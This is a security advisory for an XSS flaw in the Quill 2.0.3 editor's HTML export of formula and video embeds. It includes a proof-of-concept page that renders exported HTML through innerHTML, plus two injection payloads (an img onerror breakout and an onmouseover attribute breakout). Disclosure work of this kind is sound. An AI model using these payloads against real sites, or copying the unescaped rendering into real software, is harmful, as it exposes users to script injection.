Quill 2.0.3 - Lack of data validation in HTML export allowing XSS

5.1

Medium

5.1

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Quill 2.0.3 - Lack of data validation in HTML export using formula or video formats allowing XSS

Code name

State

Public

Release date

Jan 13, 2026

Affected product

Quill

Vendor

Slab

Affected version(s)

2.0.3

Package manager

npm

Vulnerability name

Lack of data validation - Special Characters

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

CVSS v4.0 base score

5.1

Exploit available

No

Description

Quill 2.0.3 contains a lack of data validation vulnerability in the HTML export feature. The formula and video embeds return HTML strings via html() without escaping user-controlled values. When applications use getSemanticHTML() (or getHTML()) and render the output as HTML, an attacker can inject arbitrary attributes or markup, leading to script execution in the victim’s browser. This affects common “export HTML → store → render” workflows and requires sanitization or escaping of embed values.

Vulnerability

  • Root cause: embed blots interpolate user-controlled values directly into HTML strings returned by html() without escaping or sanitization.

  • Code Location:

    • Vulnerable export path: packages/quill/src/core/editor.tsconvertHTML() uses blot-provided HTML if html() exists.

    • Vulnerable blots:

      • packages/quill/src/formats/formula.tshtml() returns <span>${formula}</span> (unescaped).

      • packages/quill/src/formats/video.tshtml() returns <a href="${video}">${video}</a> (unescaped).

The formula and video values are controlled by user input. Because html() returns a string built by simple string interpolation, a value containing quotes or closing tags (e.g., </span><img src=x onerror=alert(1)>) will produce output that breaks the expected markup and injects an element with an event handler or other malicious attributes.

PoC

  • Host the following html in a web server.

    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <title>Quill Forum Comments PoC</title>
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css"
        />
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css"
        />
        <style>
          body {
            font-family: Arial, sans-serif;
            margin: 24px;
            background: #f7f7f9;
          }
          .container {
            max-width: 900px;
            margin: 0 auto;
          }
          .card {
            background: #fff;
            border: 1px solid #ddd;
            border-radius: 8px;
            padding: 16px;
            margin-bottom: 16px;
          }
          #editor {
            height: 160px;
          }
          .actions {
            display: flex;
            gap: 8px;
            margin-top: 12px;
          }
          .comment {
            border-top: 1px solid #eee;
            padding: 12px 0;
          }
          .comment:first-child {
            border-top: none;
          }
          .meta {
            font-size: 12px;
            color: #666;
            margin-bottom: 6px;
          }
          .hint {
            color: #444;
          }
          code {
            background: #f1f1f1;
            padding: 2px 4px;
          }
        </style>
      </head>
      <body>
        <div class="container">
          <h1>Forum Comments (Quill PoC)</h1>
          <p class="hint">
            Normal user flow: write a comment, click Post. The app stores HTML and
            renders it. Try these:
          </p>
          <p class="hint">
            Formula: <code>&lt;/span&gt;&lt;img src=x onerror=alert(1)&gt;</code>
            Video: <code>https://example.com&quot; onmouseover=&quot;alert(1)</code>
          </p>
    
          <div class="card">
            <div id="toolbar">
              <span class="ql-formats">
                <select class="ql-font"></select>
                <select class="ql-size"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-bold"></button>
                <button class="ql-italic"></button>
                <button class="ql-underline"></button>
                <button class="ql-strike"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-color"></select>
                <select class="ql-background"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-script" value="sub"></button>
                <button class="ql-script" value="super"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-header" value="1"></button>
                <button class="ql-header" value="2"></button>
                <button class="ql-blockquote"></button>
                <button class="ql-code-block"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-list" value="ordered"></button>
                <button class="ql-list" value="bullet"></button>
                <button class="ql-indent" value="-1"></button>
                <button class="ql-indent" value="+1"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-align"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-link"></button>
                <button class="ql-image"></button>
                <button class="ql-video"></button>
                <button class="ql-formula"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-clean"></button>
              </span>
            </div>
            <div id="editor"></div>
            <div class="actions">
              <button id="post">Post Comment</button>
              <button id="clear">Clear</button>
            </div>
          </div>
    
          <div class="card">
            <h2>Comments</h2>
            <div id="comments"></div>
          </div>
        </div>
    
        <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script>
        <script>
          const quill = new Quill('#editor', {
            theme: 'snow',
            modules: { toolbar: '#toolbar' },
          });
    
          const comments = [];
    
          const renderComments = () => {
            const container = document.getElementById('comments');
            container.innerHTML = '';
            comments.forEach((comment, index) => {
              const wrapper = document.createElement('div');
              wrapper.className = 'comment';
              const meta = document.createElement('div');
              meta.className = 'meta';
              meta.textContent = `User #${comment.user} · ${comment.time}`;
              const body = document.createElement('div');
              // Vulnerable render for PoC: rendering exported HTML directly
              body.innerHTML = comment.html;
              wrapper.appendChild(meta);
              wrapper.appendChild(body);
              container.appendChild(wrapper);
            });
          };
    
          document.getElementById('post').addEventListener('click', () => {
            const html = quill.getSemanticHTML();
            comments.unshift({
              user: Math.floor(Math.random() * 1000),
              time: new Date().toLocaleString(),
              html,
            });
            renderComments();
            quill.setContents([]);
          });
    
          document.getElementById('clear').addEventListener('click', () => {
            quill.setContents([]);
          });
        </script>
      </body>
    </html>

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-15056 to refer to this issue from now on.

Disclosure policy

System Information

  • quill

  • Version 2.0.3

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

Dec 19, 2025

Vulnerability discovered

Dec 23, 2025

Vendor contacted

Jan 13, 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.